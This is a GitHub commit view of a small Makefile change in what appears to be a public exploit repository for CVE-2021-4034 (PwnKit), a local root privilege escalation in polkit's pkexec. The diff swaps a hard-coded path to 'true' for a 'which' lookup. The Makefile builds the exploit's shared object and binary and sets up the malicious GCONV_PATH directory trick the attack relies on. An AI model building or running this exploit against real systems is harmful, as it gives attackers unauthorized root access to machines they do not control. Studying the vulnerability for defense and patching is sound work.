Merge pull request #2 from dwisiswant0/patch-1

Using which instead of persist (close #1)
This commit is contained in:
Davide Berardi 2022-01-26 07:53:23 +01:00 committed by GitHub
commit 91059905ad
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -1,4 +1,5 @@
CFLAGS=-Wall CFLAGS=-Wall
TRUE=$(shell which true)
.PHONY: all .PHONY: all
all: pwnkit.so cve-2021-4034 gconv-modules gconvpath all: pwnkit.so cve-2021-4034 gconv-modules gconvpath
@ -13,7 +14,7 @@ gconv-modules:
.PHONY: gconvpath .PHONY: gconvpath
gconvpath: gconvpath:
mkdir -p GCONV_PATH=. mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:. cp $(TRUE) GCONV_PATH=./pwnkit.so:.
pwnkit.so: pwnkit.c pwnkit.so: pwnkit.c
$(CC) $(CFLAGS) --shared -fPIC -o $@ $< $(CC) $(CFLAGS) --shared -fPIC -o $@ $<